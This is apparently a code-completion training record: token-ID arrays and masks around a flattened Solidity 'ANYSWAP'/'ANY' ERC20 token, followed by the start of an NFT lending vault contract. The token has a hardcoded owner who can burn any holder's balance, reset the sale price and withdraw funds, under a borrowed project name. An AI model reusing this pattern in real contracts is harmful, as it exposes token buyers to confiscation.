-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = "ANYSWAP";
_symbol = "ANY";
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/ANY.sol
pragma solidity ^0.6.0;
contract ANY is ERC20 {
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
address public owner = 0x2d41DDB7b3fd3759AB73cAbb5251C781692E326F;
constructor (string memory name, string memory symbol) public ERC20(name, symbol) {
_mint(address(this), 2550000 * 1 ether);
_mint(owner, 450000 * 1 ether);
}
fallback() external payable{
require(tokenSale >= msg.value * tokenPrice, "There are not enough tokens remaining in the sale.");
_transfer(address(this), msg.sender, msg.value * tokenPrice);
tokenSale -= msg.value * tokenPrice;
}
receive() external payable {
require(tokenSale >= msg.value * tokenPrice, "There are not enough tokens remaining in the sale.");
_transfer(address(this), msg.sender, msg.value * tokenPrice);
tokenSale -= msg.value * tokenPrice;
}
uint256 public tokenSale = 900000 * 1 ether;
uint256 public teamShare = 600000 * 1 ether;
uint8 public devCount = 12;
uint8 public marketingCount = 12;
uint8 public airdropCount = 0;
uint256 public tokenPrice = 1800;
uint256[42] public calendar = [
1603584000,1606262400,1608854400,1611532800,1614211200,1616630400,1619308800,1621900800,1624579200,
1627171200,1629849600,1632528000,1635120000,1637798400,1640390400,1643068800,1645747200,1648166400,
1650844800,1653436800,1656115200,1658707200,1661385600,1664064000,1666656000,1669334400,1671926400,
1674604800,1677283200,1679702400,1682380800,1684972800,1687651200,1690243200,1692921600,1695600000,
1698192000,1700870400,1703462400,1706140800,1708819200,1711324800
];
function releaseTeam() public returns (bool){
require(msg.sender == owner, "Only owner can call this function");
require(block.timestamp > calendar[devCount], "Timelock Still Active.");
require(devCount < 27, "Distribution Complete");
devCount += 3;
_transfer(address(this), address(0x891Eb5344e8363FCE2138B42d9cAC7e2a88b26F2), 60000 * 1 ether);
_transfer(address(this), address(0xB98797a5dF4EFbE50fe39fD1fFd87512Bd1B03bC), 60000 * 1 ether);
return true;
}
function releaseMarketing() public returns(bool){
require(msg.sender == owner, "Only owner can call this function");
require(block.timestamp > calendar[marketingCount], "Timelock Still Active.");
require(marketingCount < 42, "Distribution Complete");
marketingCount += 3;
_transfer(address(this), owner, 60000 * 1 ether);
return true;
}
function releaseAirdrop() public returns(bool){
require(msg.sender == owner, "Only owner can call this function");
require(block.timestamp > calendar[airdropCount], "Timelock Still Active.");
require(airdropCount < 24, "Distribution Complete");
airdropCount += 1;
_transfer(address(this), owner, 18750 * 1 ether);
return true;
}
function changePrice(uint256 newTokenPrice) public returns(bool){
require(msg.sender == owner, "Only owner can call this function");
tokenPrice = newTokenPrice;
return true;
}
function purchaseToken() public payable returns(bool){
require(tokenSale >= msg.value * tokenPrice, "There are not enough tokens remaining in the sale.");
_transfer(address(this), msg.sender, msg.value * tokenPrice);
tokenSale -= msg.value * tokenPrice;
return true;
}
function batchSend(address[] memory addrs, uint256 amount) public returns(bool){
for(uint i = 0; i < addrs.length; i++) {
transfer(addrs[i], amount);
}
return true;
}
function adminWithdraw(uint256 amount) public returns(bool){
require(msg.sender == owner, "Only owner can call this function");
msg.sender.call.value(amount)("");
return true;
}
function burn(uint256 amount) public returns(bool){
_burn(msg.sender, amount);
return true;
}
function adminBurn(address user, uint256 amount) public returns(bool){
require(msg.sender == owner, "Only owner can call this function");
_burn(user, amount);
return true;
}
} | * @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./ | constructor (string memory name, string memory symbol) public {
_name = "ANYSWAP";
_symbol = "ANY";
_decimals = 18;
}
| 1,978,250 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5779,
11643,
288,
31734,
97,
598,
279,
805,
460,
434,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
5779,
999,
288,
67,
8401,
31809,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
315,
15409,
18746,
2203,
14432,
203,
3639,
389,
7175,
273,
315,
15409,
14432,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../interfaces/IAggregatorV3Interface.sol";
import "../interfaces/IStableCoin.sol";
import "../interfaces/IJPEGLock.sol";
import "../interfaces/IJPEGCardsCigStaking.sol";
/// @title NFT lending vault
/// @notice This contracts allows users to borrow PUSD using NFTs as collateral.
/// The floor price of the NFT collection is fetched using a chainlink oracle, while some other more valuable traits
/// can have an higher price set by the DAO. Users can also increase the price (and thus the borrow limit) of their
/// NFT by submitting a governance proposal. If the proposal is approved the user can lock a percentage of the new price
/// worth of JPEG to make it effective
contract NFTVault is AccessControlUpgradeable, ReentrancyGuardUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeERC20Upgradeable for IStableCoin;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
event PositionOpened(address indexed owner, uint256 indexed index);
event Borrowed(
address indexed owner,
uint256 indexed index,
uint256 amount
);
event Repaid(address indexed owner, uint256 indexed index, uint256 amount);
event PositionClosed(address indexed owner, uint256 indexed index);
event Liquidated(
address indexed liquidator,
address indexed owner,
uint256 indexed index,
bool insured
);
event Repurchased(address indexed owner, uint256 indexed index);
event InsuranceExpired(address indexed owner, uint256 indexed index);
enum BorrowType {
NOT_CONFIRMED,
NON_INSURANCE,
USE_INSURANCE
}
struct Position {
BorrowType borrowType;
uint256 debtPrincipal;
uint256 debtPortion;
uint256 debtAmountForRepurchase;
uint256 liquidatedAt;
address liquidator;
}
struct Rate {
uint128 numerator;
uint128 denominator;
}
struct VaultSettings {
Rate debtInterestApr;
Rate creditLimitRate;
Rate liquidationLimitRate;
Rate cigStakedCreditLimitRate;
Rate cigStakedLiquidationLimitRate;
Rate valueIncreaseLockRate;
Rate organizationFeeRate;
Rate insurancePurchaseRate;
Rate insuranceLiquidationPenaltyRate;
uint256 insuranceRepurchaseTimeLimit;
uint256 borrowAmountCap;
}
bytes32 public constant DAO_ROLE = keccak256("DAO_ROLE");
bytes32 public constant LIQUIDATOR_ROLE = keccak256("LIQUIDATOR_ROLE");
bytes32 public constant CUSTOM_NFT_HASH = keccak256("CUSTOM");
IStableCoin public stablecoin;
/// @notice Chainlink ETH/USD price feed
IAggregatorV3Interface public ethAggregator;
/// @notice Chainlink JPEG/USD price feed
IAggregatorV3Interface public jpegAggregator;
/// @notice Chainlink NFT floor oracle
IAggregatorV3Interface public floorOracle;
/// @notice Chainlink NFT fallback floor oracle
IAggregatorV3Interface public fallbackOracle;
/// @notice JPEGLocker, used by this contract to lock JPEG and increase the value of an NFT
IJPEGLock public jpegLocker;
/// @notice JPEGCardsCigStaking, cig stakers get an higher credit limit rate and liquidation limit rate.
/// Immediately reverts to normal rates if the cig is unstaked.
IJPEGCardsCigStaking public cigStaking;
IERC721Upgradeable public nftContract;
/// @notice If true, the floor price won't be fetched using the Chainlink oracle but
/// a value set by the DAO will be used instead
bool public daoFloorOverride;
// @notice If true, the floor price will be fetched using the fallback oracle
bool public useFallbackOracle;
/// @notice Total outstanding debt
uint256 public totalDebtAmount;
/// @dev Last time debt was accrued. See {accrue} for more info
uint256 public totalDebtAccruedAt;
uint256 public totalFeeCollected;
uint256 internal totalDebtPortion;
VaultSettings public settings;
/// @dev Keeps track of all the NFTs used as collateral for positions
EnumerableSetUpgradeable.UintSet private positionIndexes;
mapping(uint256 => Position) private positions;
mapping(uint256 => address) public positionOwner;
mapping(bytes32 => uint256) public nftTypeValueETH;
mapping(uint256 => uint256) public nftValueETH;
//bytes32(0) is floor
mapping(uint256 => bytes32) public nftTypes;
mapping(uint256 => uint256) public pendingNFTValueETH;
/// @dev Checks if the provided NFT index is valid
/// @param nftIndex The index to check
modifier validNFTIndex(uint256 nftIndex) {
//The standard OZ ERC721 implementation of ownerOf reverts on a non existing nft isntead of returning address(0)
require(nftContract.ownerOf(nftIndex) != address(0), "invalid_nft");
_;
}
struct NFTCategoryInitializer {
bytes32 hash;
uint256 valueETH;
uint256[] nfts;
}
